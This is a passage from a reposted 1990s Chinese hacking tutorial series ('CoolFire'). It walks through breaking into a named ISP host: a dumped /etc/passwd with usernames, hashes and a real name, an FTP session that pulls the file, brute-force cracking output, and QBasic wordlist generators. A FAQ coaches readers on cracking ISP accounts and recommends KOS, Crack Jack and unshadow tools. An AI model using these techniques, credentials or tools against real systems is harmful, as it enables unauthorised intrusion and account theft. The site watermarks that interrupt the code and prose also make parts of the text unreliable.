ccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash
sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash
services:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash
order:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash
corey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bash
richard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bash
lilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bash
support:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash
hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash
stonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/csh
bear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bash
lance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh
taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash
service:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash
liheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash

caves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bash
sales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bash
kingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bash
recycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash
recycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bash
recycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash
recycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bash
hxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash
goodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash
feedom.net

sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash
rwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash
charliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash
jdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash
tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash
slb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash
s6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash
lsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash
lilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bash
nalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash
jordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash
toonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash
yahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bash
basic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bash
wunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bash
feedom.net

kaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash
shuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bash
fan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash

(CoolFire 注: 因为使用 PaSs2DiC 很容易找出 ID 与 Password 相同的. 故除了 Coffee 外, 其
它我找到密码的 EnCode Password 部份皆改过..... 除非你一个一个试啦~~~ 我没说喔!)

www:/etc$ exit
logout
Connection closed by foreign host.

(可以走了 !! 改用 FTP 将 /etc/passwd 给抓回来吧!)

ms.hinet.net.tw> ftp www.coffee.com.tw
Connected to www.coffee.com.tw.

220-
220- 欢 迎 光 临 ..... 以下略! 因涉及该 ISP 的名誉, 大家自己去看吧!
220-
220-
220- There are 0 users in FTP Server now.
220- 目前已有 0 使用者在此 Server 上.
220- If you have any suggestion, please mail to:
220- service@xx.xxxxxxx.xxx.xx.
220-
220-
220-
220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.

(还是使用刚刚的帐号进入)
网管网 bitsCN.com

Name (www.coffee.com.tw:YourName): coffee
331 Password required for coffee.
Password:
230 User coffee logged in.
Remote system type is UNIX.
Using binary mode to transfer files.

(直接到达档案放置地点)

ftp> cd /etc
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
ttys
fdprm
group
issue
motd
mtools
profile
securetty
shells
termcap
skel
csh.cshrc
csh.login

lilo
inet
default
services
HOSTNAME
DIR_COLORS
passwd
passwd.OLD
wtmp
utmp
gettydefs
inittab.gettyps.sample
ld.so.conf
ld.so.cache
at.deny
fs
magic
rc.d
syslog.conf
printcap
inittab
sudoers
vga
diphosts
mail.rc
ppp
NNTP_INEWS_DOMAIN
sendmail.st
NETWORKING
gateways
bootptab
exports
ftpusers
host.conf
hosts
hosts.allow
hosts.deny

hosts.equiv
inetd.conf
named.boot
networks

nntpserver
protocols
resolv.conf
rpc
ftpaccess
hosts.lpd
ftpconversions
snooptab
msgs
ftpgroups
slip.login
slip.hosts
yp.conf.example
X11
lilo.conf
sendmail.cf
fstab
fastboot
mtab
syslog.pid
klogd.pid
shutdownpid
localtime
passwd.old
ioctl.save
psdevtab
ftp.banner
ftp.deny
issue.net
motd.bak
securetty.old
226 Transfer complete.

(取回该档案)

ftp> get passwd
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (4081 bytes).
226 Transfer complete.
4081 bytes received in 2.5 seconds (1.6 Kbytes/s)

(尽速离开)

ftp> bye

221 Goodbye.

好了！有了 /etc/passwd 之後一切都好办了，赶紧将你的宝贝收藏 PaSs2DiC 拿出来吧 !!
快点跑一下，让它自动产生字典档案:

C:\hack>pass2dic
PaSs2DiC V0.2 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN. 中国网管联盟 www、bitsCN、com

This tool will:

[1] Load PASSWD file and convert it to only username text file
[2] Write the file to a dictionary file you choise for target

Your Source PASSWD File Name: passwd
Your Target Dictionary Name: dic.cfe

PaSs2DiC Author: James Lin E-Mail: fetag@stsvr.showtower.com.tw
FETAG Software Development Co: http://www.showtower.com.tw/~fetag

C:\hack>

(这样就好了 ！ 自动产生的档案会放在 dic.cfe 这个档案中，咱们跑一下 Brute Force 看看!)

C:\hack>fbrute passwd @dic.cfe

BRUTE!, Unix Brute Force Hacking Routine. v2.0
Copyright (C) 1990, Prometheus. DOS-fastcrypt made available by sir hackalot.
阐阐

Attempts/Hits: 5184/9

Taking list input from dic.cfe
Beginning search of passwd for password: xxx
中国网管联盟 www_bitscn_com

Match for password xxxxxx found! Username: xxxxxx

Match for password xxxxx found! Username: xxxxx
Match for password xxx found! Username: xxx
Match for password xxxxxx found! Username: xxxxxx
Match for password xxxxxx found! Username: xxxxxx
Match for password coffee found! Username: coffee
Match for password xxxxxxx found! Username: xxxxxxx
Match for password xxx found! Username: xxx
Match for password xxxx found! Username: xxxx

Done.

C:\hack>

看! 除了 coffee 外还是有许多人使用与 ID 相同的字作为密码, 实在是....@#$%^...&*
因某些关系
所以其它部份要被 "马赛克" 起来, 请各位读者见量!

**** 再谈密码 ****

看了以上的破解示范, 就可以了解到许多人还是对於 "密码" 这东西不是很有 "密码"
的观念, 人就是
那麼的懒, 随便设定一个好记的, 但是这种密码确是最不安全的, 上次我们谈到如何用
QBasic 来设计
一个自动产生密码的小程式, 相信对许多人有很大的帮助,
底下我们再来浅显的介绍一下字母密码的 54com.cn
产生方法, 相信对於你在 Hack 某站会有更大的帮助.

事情的开始是有一位网友 mail 给我, 问我字典档要如何写程式来 "自动扩大",
而让我有了写这一段的
想法, 现在我就针对这位网友的问题作一个更详细的说明 (因已简短回信答覆),
并且写出来让大家了
解一下, 当然我们的示范还是使用 QBasic, 因为这是最容易找到的程式了,
而且语法大家也可能会比较
熟悉一点, 如果我使用 VB 或 C 来写, 可能有些人只会拿去用,
而不会去修改或者写个好一点的出来!

先说明一下原理好了: 我们所要作的程式是一个自动产生字典档的程式,
所以我们要了解字的字母排
列到底有哪些方法可循?? 我们先举几个简单的单字出来比较看看:

[1] apple [2] guest [3] james [4] superman [5] password

OK! 来看看! 如果你有一点英文的概念的话应该会知道母音及子音吧 !
我们首先这样说明: 母音在英文

上有 : A E I O U 这五个, 所有的英文单字都会有这些母音
(有些没有的可能是专有名词或缩写), 也有可
能是双母音的字, 如: au, ai, ea, ei, ia, ie, ou, oe, ui, ua... 等,
再来就是比较每个字的开头, 有可能是母音,
也有可能是子音, 但是子音之後通常接的是母音字母, 但是也有例外, 如: student
网管网 bitsCN.com

是两个子音再接一个母
音字母, 所以接下来依照常用字将这些子音找出来, 我想了一下大概有: br, bl, cl, dg,
dr, fl, gr, kn, ph, st,
sp, wh .... 等几种(其它请自行统计), 然後是结尾部份, 通常结尾部分有下列几种: e;
est; ord; ard; ls; es; s...
等好多好多, 我们稍为思考一下就知道要如何写出这样的程式出来了 !!
我大略写一个简单的, 其它大家
自行发挥, 如果有人学语言学的, 请帮忙弄一份常用组合表出来, 可能会更有帮助吧 !!

底下就是该程式片段, 执行後会产生 MyDic.Txt 档, 大小为: 22,096 Bytes 共有 3120
个字的字典!!

---------- MakeDic.BAS Start Here

DIM FirstWord$(20)
DIM MotherWord$(13)
DIM LastWord$(12)

DATA "br", "bl", "cl", "dg", "dr", "fl", "gr", "kn", "ph", "st", "sp", "s",
"t", "p", "k" , "f", "m", "n", "b","k" 中国网管联盟 www_bitscn_com
DATA "a", "e", "i", "o", "u", "ai", "ei", "ea", "io", "ou", "oi", "au", "eo"
DATA "st", "ord", "ard", "e", "es", "le", "ng", "st", "ing", "n", "b", "s"

FOR I = 1 TO 20
READ FirstWord$(I)
PRINT FirstWord$(I)
NEXT I

FOR I = 1 TO 13
READ MotherWord$(I)
NEXT I

FOR I = 1 TO 12
READ LastWord$(I)
NEXT I

```
OPEN "MyDic.txt" FOR OUTPUT AS #1

FOR I = 1 TO 20
FOR J = 1 TO 13
FOR K = 1 TO 12
PRINT #1, FirstWord$(I) + MotherWord$(J) + LastWord$(K)
NEXT K
NEXT J
NEXT I

CLOSE : END
---------- Cut Here, End of MakeDic.BAS
--------------------------------------------------------------------------------
-
```

当然这只是小部份的组合, 相信你可以作出一个更大的字典档出来, 如: 54com.cn
子音+母音+子音+母音+子音, 作
出来的字典档会很吓人喔 !! 这一个部份就讲到这里了 ! 如果你有很棒的字典产生程式,
写好了请 Mail 一
份给我喔 !! 如果可以的话请说明是否可以公布在我的 W3 上让其它人下载 !!
还是你只是要给我 ?!

希望每次讲到密码的问题後, 大家可以将这些密码的产生方法与自己的密码对照看看,
如果有相同的请
赶紧将自己的密码换掉, 我讲得口沫横飞, 都没有人要听吗 ??? 咖啡业者..... ISP
们.... 教教你们的使用者
吧..... 唉~~~~

**** 後语 ****

我们的首页感谢大家的支持, 现在人数已经到达 2,000 了, 这是一个地下站
(未对外正式公布) 很棒的一个
数字, 在与其它工作室人员研究之後, 暂时不对外公布站址, 如果你是 "误闯"
到本站来的! 我们欢迎你的
加入, 但目前尚不考虑对外公布站址, 请您在告诉你的朋友有这麼一个站存在的时候,
请他不要随便告诉
别人 (请只告诉你信赖的朋友; 或对电脑有一份特别狂热的人, 我们都欢迎他们的加入),
我们目前所采用
的方式将是开放式的! 对首页部份暂时不以密码方式处理.

** 不要 Crack 这个首页的 ISP!!!! 否则 FETAG Sofeware's Hacking Page
中国网管联盟 www.bitscn.com

将会完全关闭, 再也不寻找其它的地
方来放置, 希望给你的是使用电脑的 "知识", 不要利用它来夺取任何的 "权利",
本首页著重的是教育, 而
不是一　的教导攻击的方法, 希望大家对於政府机关 (org.tw) 或教育机构 (edu.tw)
不要作任何的破坏!!
还有我的 ISP.....:D

哇! 一份案子搞了好久, 都没时间维护网页了, 所以特别将维护的工作还给了 James,
希望大家多多支持我们
的园地, 我案子搞完後再跟大家谈谈我最近的实战故事! 虽然没时间写网页,
但是还是会写一些文件给大家
作为参考 !!

再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,
不主张你随
便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上 (又...
如果第三次世界
大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),
最严重的情况(如果你真的很讨厌该主
机的话)... 就将它 Shut Down.... 好了! 别太暴力了!
【转自 www.bitsCN.com】

coolfire 黑客入门教程系列之（四）

这不是一个教学文件, 只是告诉你该如何破解系统,
好让你能够将自己的系统作安全的保护, 如果
你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是
CoolFire, 写
这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password
若有人因此文件
导致恶意入侵别人的电脑或网路, 本人概不负责 !!

经过了上一次的实战, 该 ISP 已经灰头土脸, 当然也已经将被我揪出密码的 User
Password 改掉
了, 但是系统安全部分还是没有多大的改进, 唉.... 有点伤心.
这一次的内容主要在加强上次所
说明的字典档部分, 因为我又想到另外一个方法可以快速的产生字典档,
而且用这个方法产生的字
典档更吓人; 当然还要跟大家介绍另一个好用的 Password Crack 工具,
并加上最近的一些信件整
理出来的 FAQ 等, 希望能在过年以前就将这一篇写好!

本次主题: 字典档的维护及更新
连接位址: 无
特别说明: 快点加强一下你的字典档吧 !! 不然怎麽破密码哩?!

-*-
--*-*-*-

**** 课程开始 ****

依我看, "字典" 这个讨论应该是谈不完的了, 因为有太多的方法了,
但是为了维护你自身的权益, 自
己的密码最好保管好, 我在前几天刚拿到 KOS 的时候, 拿她来跑一个 ISP 的
/etc/passwd 档案, 原
先单单使用 Crack Jack 只找到 22 组的密码, 用了 KOS 加上 Crack Jack 居然共找到了
88 组的密
码, 还好该 ISP 不像 高-NET 一样是属於 "时数收费" 的收费方式, 不然可能有许多的
User 自己当
了冤大头都还浑然不知. 所以这个讨论还是免不了的, 如果你觉得你不需要这些知识,
请跳过去吧!!

上次的字典档讨论, 我写了一个简短的程式出来产生了 3120 组的密码,

但是这些密码并不一定是一
个 "字", 也就是说产生完全合乎我们所限定的 "法则", 但却不一定是一个已存在的字, 所以如果要
产生一个 "高效率" 的字典档, 使用上次所说的那种方式就不是一个很好的方法了.
以上次所写的程
式 MAKEDIC.BAS 所产生的 MyDic.txt 为例, 其中的 braard clale cleoe dgeiing dgeie.....等
字就不是很 "正常" 的字, 当然也有可能是某人的密码, 但其机率小之又小.
网管网 bitsCN.com

这次所写的程式名称为 TXT2DIC.BAS, 我们还是先使用大家都熟悉的 QBASIC 来写, 以方便日後的修
改, 先说明一下原理: 这个程式是一个自动产生字典档的程式, 我们是经由给程式一个 "文字档", 然
後由程式自该文字档中 "抽取出" 字出来, 这些文字档必需是英文的文字档, 如果使用中文的文字档
的话程式跑起来会有问题, 英文文字档的取得可由英文版软体的 Readme 档或网路上的英文版学术论
文或其它的来源.

当然有可能在文件中会出现像 www.showtower.com.tw/~fetag 的字眼, 我们总不能把它也列入字典档
中吧! 所以程式中有一点小小的设计, 就是该字若字母数大於 10 则不列入考虑, 我们也可以使用上
一次所介绍的子音+母音... 等的公式来作检查法, 但是我没有太多的时间作这些事, 留待有空的人来
写吧!!

底下就是该程式原始码, 请各位以 QBASIC 来启动并执行它:

---------- Txt2Dic.BAS Start Here

CLS
PRINT "Txt2Dic Version 0.1B (C)1997 By CoolFire ReChange: CoolFire" 网管网 bitsCN_com
PRINT "[Source Released, For Changer, Add Your Name in ReChange Field]"
PRINT
LINE INPUT "Text File Name: "; TxtFile$
LINE INPUT "Output Dic Name: "; DicFile$
OPEN TxtFile$ FOR INPUT AS #1
OPEN "TMPFILE1.$$" FOR OUTPUT AS #2

```
REM Filter for text file

ReInput:
IF EOF(1) THEN GOTO EndFile
LINE INPUT #1, L$
ReTry:
L$ = LTRIM$(L$)
L$ = RTRIM$(L$)
TmpValue = INSTR(L$, " ")
IF TmpValue <> 0 THEN
DicTxt$ = LEFT$(L$, TmpValue - 1)
PRINT #2, DicTxt$
LOCATE 7, 1: PRINT "Step 1, Add word : "; DicTxt$; STRING$(10, " ")
L$ = RIGHT$(L$, LEN(L$) - TmpValue)
GOTO ReTry
ELSE
GOTO ReInput
END IF
END

EndFile:
CLOSE
REM Filter for special chapter and lower-case the word

OPEN "TMPFILE1.$$" FOR INPUT AS #1
OPEN DicFile$ FOR OUTPUT AS #2
Special$ = "-,.:<>?*()/_" + CHR$(34)
DO
LINE INPUT #1, L$  中国网管联盟 www_bitscn_com
FOR I = 1 TO 13
SP$ = MID$(Special$, I, 1)
TmpValue = INSTR(L$, SP$)
IF TmpValue <> 0 THEN
LOCATE 8, 1: PRINT "Remode special word :"; L$; STRING$(10, " ")
L$ = ""
END IF
NEXT I
IF L$ <> "" THEN
L$ = LCASE$(L$)
PRINT #2, L$
END IF
LOOP UNTIL EOF(1)
CLOSE
KILL "TMPFILE1.$$"
```

END
--------------- Cut Here, End of Txt2Dic.BAS

-

我只花了几分钟写这个程式, 因为时间紧迫 (为了在过年前将此篇送出),
所以有些考虑到的地方都没
有作修改, 在这里再作些说明: 这个程式的第一个部份为分解字串, 将碰到的 CHR$(20)
也就是空白
分离出来, 这是分解一句话中字与字最简单的方法,
并且会将分解出来的字存在一个暂存档中, 作为
第二部分的使用. 第二部分将暂存档读入, 并过滤非正常的字母出现,
我只让它过滤了十三种特殊字
如: -,.:<>?*()/_" 等, 当然如果你可视需要再作删减的功能.

原本想要再写排序及过滤重覆字的功能, 但是这些功能不是那麼需要,
54com.cn

因为在排序方面你可以使用电
脑中 DOS 的 SORT 或 Crack Jack 的 JSort, 过滤重覆字也有 CoolFire 的 De-Sort
可以使用, 所
以就先在这里停住, 有心的读者可以自行修改, 修改完後也请传送一份给我,
作为日後教学的参考之
用, 或提供网友们分享.

仔细看一看这个程式还是有很多地方没有作修正, 或是没有作 Error Handle 等,
但已经给各位原始
程式了, 大家就试著修改看看吧! Qbaisc 是一个很简单的语言,
只要你试试看就可以把这个程式改得
很好了. 用这个程式试了一个文字档, 发现它找到的字都是一些很简单的字,
当然跟你所给它的材料
有很大的关系, 使用这个程式配合一个很棒的材料档, 应该可以作出一份很棒的字典档,
希望大家可
以好好的利用它.

-*-
--*-*-*-

**** 新工具程式 Global KOS Krack (KOS) ****

记得从上次讲过 Crack Jack 之後好像就没有再讲过 Password Crack 的工具程式了,
当然也跟最近
没有甚麼好程式出现有关系, 像前一阵子风行的 Mail Bomb 最近也没有再见到改版,
倒是出现了一

些写得不怎麼样的 Bomb 程式, 了无新意, 我现在还是在用 KaBoom 3.0, 你呢 ??
54ne.com

前几天无聊逛了
一下国外的 Crack 站台, 意外的发现了一个叫作 KOS 的东西, 传回来试了一试果然不错, 而且里面
还包含了一个 3MB 多的字典档, 这对字典档中缺料的读者们肯定会有帮助的.

KOS 是许多工具的集合, 由一些批次档对这些工具作了很棒的整合, 它必须与 Crack Jack 一起使用
才能运作, 平常我们在处里 Password Crack 时都需要考虑到第一个字母大写, 加数字, 字母大小写
转换等等的工作, 都可以由 KOS 一手包办, 你只要取得 KOS, 就可以配合著 Crack Jack 将以前单单
使用 Jack 寻找的 /etc/passwd 再翻出来 Crack 看看, 保证你会体会到拥有 KOS 的好处.

像前面所说的, 我将以前只找到 22 组密码的 /etc/passwd 重新跑过, KOS 居然可以帮助我找出 88
组的密码, 足可见 KOS 可以增强 Crack Jack 四倍的 Cracking 能力, 作者宣称 KOS 在 NT 上开了
DOS 视窗就可以跑, 但是我以 NT 4.0 中文版及 Windows 95 (97 年版) 测试後还是因为 Jack 无法
在上面运作而停摆, 只好回到纯 DOS 模式下才能够使用, 但是 KOS 还是能发挥它强大的功能, 唯一
需要的就是一部速度快一点的机器, 当然还有时间也是必需的. feedom.net

我使用 KOS + Crack Jack 在 Pentium-100 32MB RAM SCSI-II HDD 上跑一个 /etc/passwd 档加上我
的字典档 (passwd 档案大小为 197K, 字典档大小为 5.1MB), 跑了四天都还没有完全跑完的情况, 就
可以知道 KOS 尽了多大的努力在帮我们找出密码, 当然如果你的 /etc/passwd 只有几 K 大小可能只
消几个小时就可以全部跑完了!! 不过要找出 root 密码, 可能还是要靠点运气才行了....

KOS 的压缩档中还包含了 SHADOW.C 及 UNSHADOW.C 两个解 shadow 的程式, 可在 Unix 主机上编译
以取得被 shadow 过的 /etc/passwd, 在这里也顺便提出, 网友们不要忘了顺便试试这两支程式.

想要知道哪里可以拿到 Global KOS Krack ?? 到我们的 Home Page 看看吧!!

-*-

--*-*-*-

**** CoolFire FAQ ****

[Q1]请问一下你的 letmein 2.0 何时出来?
[A1]因为最近实在是太忙了, 所以有很多的事情都没有办法依照预定的行程作完,
所以最近也都不敢
再多排订行程,
看看最近首页更新的状况也应该知道我们实在是没有时间多作别的事了, 所以要 网管网
bitsCN_com
先跟期待 LetMeIn 2.0 的人先说生抱歉, 但是我们的 Idea 还是在持续增加中,
所以如果有空
写 LetMeIn 2.0 的时候将会推出很棒的版本, 请再等等吧~~~ 这阵子先过了再说!!

[Q2]请问一下 letmein 1.0 的 setup keys-要如何设定? 如果用 netterm 要找 login name
& passwd
在 letmein 要怎样设定不断换行, 而不会文字一直加长?
[A2] LetMeIn 1.0 已经有作一份中文的简易说明来补充原先说明档的不足,
所以如果你对该软体有
不清楚的地方请先阅读这个说明档之後再提出问题, NetMeIn 1.0 是在 NetTerm
下作的测试,
所以使用 NetTerm 配合 LetMeIn 应该不会有问题, 请再试试看!

[Q3]请问 "最新之系统安全 mailliast" 要到那里去看? 还是要订阅? 如何订阅呢?
是英文 or 中文?
[A3]原本想要在这次首页更新的时候加入一些 Mail List 订阅的连结点,
但是因为时间太匆促所以
没有作, 先跟各位说声抱歉了, 你可在国外的 Hacker 站找到,
或是先订阅下面这一个 List 来
看看, 不过目前这类的 Mail List 都是英文的.

写到: Majordomo@ns2.rutgers.edu
标题: (空白不填)
内容: SUBSCRIBE www-security 你的 E-Mail 信箱
54ne.com

[Q4]为什麼 De-sort 不能用? Key In ..... 为什麼会这样??
C:\Program Files\LetMeIn>de-sort
De-Sort V0.1 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.

This program will:

[1] Delete reiteration word from a dictionary file
[2] Write the new file to a temp file
[3] Delete old dictionary file
[4] Rename new dictionary file as old one's file name

Dictionary file name: 1
{Now Start To Check}

Some error found when program processing, Code= 53

De-Sort Author: James Lin E-Mail: fetag@stsvr.showtower.com.tw
FETAG Software Development Co: http://www.showtower.com.tw/~fetag
C:\Program Files\LetMeIn>
[A4]出现 Error Code = 53 代表开档有问题, 你所输入的档名 '1' 这个档案可能不存在,
你
应该检查看看这个档案是否存在於目前目录, 否则就应该给它目录名称, 其它的
Error
Code 可以参考 QuickBasic 或 Basic PDS 的书籍来查出错误发生的原因是甚麼!

[Q5]小弟自从放寒假後,"高-Net"费用 往上狂飙, 急起直追请问你有 Crack 过 "高-Net"吗
中国网管论坛 bbs.bitsCN.com
??
"高 - Net"的防备似乎蛮强的!我是你的忠实读者,你的作品
coolhc-1,coolhc-2,cool-3,
我都有努力钻研学习,但就是弄不到 etc/passwd, 不知是不是我资质太低 ~~#@$%
烦请高
手帮忙弄到 etc/passwd Ps: coolhc-2,and coolhc-3 最後的那句(高-Net 还是除外)
是
说"高-Net"可以或不可以 Crack ,如果不可以就不用帮我 Crack 了!
[A5]当然还是有漏洞, 我有稍微试过, 只要是新发现的 Bug,
他们会很快的有人将漏洞补上,
而且该 ISP 有许多的工作人员, 并且采用计时收费的方式, 所以就算你 Crack 了,
也是
将帐目算到别人头上, 有点缺德, 所以不需要 Crack 它, 大家不要申请它这个 ISP
就好
了! 不然还是请你看看系统安全的 Mail List 了解最新的系统安全消息!
比它们快一步进
入系统就可以了! 这个文章还是以教学为目的, 无法给你 ISP 的 /etc/passwd!

[Q6]Hinet 密码 to Dic: 因为 Hinet 的密码格式是 1abcdefg 所以我就依照 coolhc-3
的程
式设计了这个东西! (0aaaaaaa ~ 9zzzzzzz) 希望会有用! 欢迎批评,指教,修改.

---------- HinetPas.BAS Start Here

中国网管联盟 www、bitsCN、com

DIM No$(10)
DIM Eng$(26)
DIM LastWord$(26)
DIM a$(26)
DIM b$(26)
DIM c$(26)
DIM d$(26)
DIM e$(26)

DATA "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
54com.cn

DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
中国网管论坛 bbs.bitsCN.com

"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
FOR I = 1 TO 10
READ No$(I)
PRINT No$(I)
中国网管联盟 www、bitsCN、com

NEXT I

FOR I = 1 TO 26
READ Eng$(I)
NEXT I

```
FOR I = 1 TO 26
READ LastWord$(I)
NEXT I
FOR I = 1 TO 26
READ a$(I)
NEXT I
FOR I = 1 TO 26
READ b$(I)
NEXT I

FOR I = 1 TO 26
READ c$(I)
NEXT I

FOR I = 1 TO 26
READ d$(I)
NEXT I

FOR I = 1 TO 26
READ e$(I)
NEXT I


OPEN "Hinetpas.txt" FOR OUTPUT AS #1

FOR I = 1 TO 10
FOR J = 1 TO 26
FOR k = 1 TO 26
FOR l = 1 TO 26
FOR m = 1 TO 26
FOR n = 1 TO 26
FOR o = 1 TO 26
FOR p = 1 TO 26
PRINT #1, No$(I) + Eng$(J) + LastWord$(k) + a$(l) + b$(m) +
c$(n) + d$(o) + e$(p)
NEXT p
NEXT o
NEXT n
NEXT m
NEXT l
NEXT k
NEXT J
NEXT I
```

CLOSE : END
---------- Cut Here, End of HiNetPas.BAS

-
[A6]谢谢这位网友, 你的 For... Next 的 Deep 实在太长了,
不得不将格式改变一下才能放
进文章中. 也希望有更多人的集思, 写出更多字的字典档! 网管网 bitsCN_com

[Q7]我用 pass2dic 时没辨法转成文字档飞, 会有错误说(以下的讯息)请问要如何更正...
Some error found when program processing, Code= 75
[A7]试过了, 都没有办法产生这样的 Code, 所以请看看磁碟是否防写, 或参考 BasicPDS 的
书籍寻找该 Error Code 的解释或说明.

[Q8]请问一下，passwd 除了会放在/etc/之下，还有可能会放在哪儿？
[A8]有有可能是 /etc/ 目录中的 passwd.??? 或 shadow 或 shadow.??? 都有可能.

[Q9]我有在你的 HOMEPAGE DOWNLOAD CoolHC#1.txt
里面有些步骤不懂如:1.(首先要先连上某
一台你已经有帐号的 Telnet 主机.....)? 是不是在刚上 HINET 时出现拨号视窗下选=3

进入 TELNET?还是 SELECT=1 进入 PPP 後用 WS-FTP 找寻 etc/pass 的档案?
2.(我有在你的
HOMEPAGE DOWNLOAD A letme.. of program 有点像 claymore,不够不会使用
Q.他不把所
有的设定都用好後按"START BF"在 DELAY 未结束时,把游标移到要 CRACK 的 PASSWORD
BOX?但是出现了很长的数字也没有 CRACK? 3.(我在一些国外的 WAREZ 看过有关 HACK UNIX
的文件里有写都包函一段 "C"语言,是不是能在 TELNET 下输入执行程式就会自动
网管联盟 www.bitsCN.com

CHECK
PASSWORD?是不是你在 "COOLHC#1.TXT 里有保留一段进入 SYSTEM 的程式?
4.(有时用 WS-FTP
下找 PASSWORD 时,不是隐藏就是没用的档案,是否有方法让隐藏档显示?
5.你有一个 AUTOHACK
是不是一种利用拨电话的方式进入主机?(有点像电影中的战争游戏)?
6.像 SHADOW.C 的档
案要如何组译成执行档?
[A9]好多的问题喔, 我一个一个回答吧! 1.LetMeIn! 是用在 PPP 模式, 不是 Telnet 模式, 你

先连上 PPP 模式後开启 NetTerm 然後开 LetMeIn! 在 LetMeIn! 中作好设定按下 Start 键
後再回到 NetTerm 等待自动输入. 2.Telnet 可在你的 Win95 中找到, 只要连上 PPP 模式
就可以使用, 你也可以使用 NetTerm 之类的软体, 不一定要在连线时选 Telnet 模式.
3. LetMeIn! 需要在启动後回到 Telnet 软体才会自动 Crack 4.AutoHack 是自动拨号寻
找有连接数据机的电话号码, 对 InterNet 来说可能没有用出吧! 5.用这一期 CoolHC 所说
的 KOS 中有 Shadow.c 可以试试. 6.用 cc 指令可以编译, 但要看你的 ISP 有没有提供.

[Q10]请问我抓到的一些字典档 .Z 格式, 为何无法用 uncompress 解开,
解开後都是一些乱码
[A10]如果你用 Windows 或是 Win95 的话, 试著安装 WinZip 应该就可以解开了 !! 网管网 bitsCN.com

[Q11]请问能够提供更多的 crack document 吗
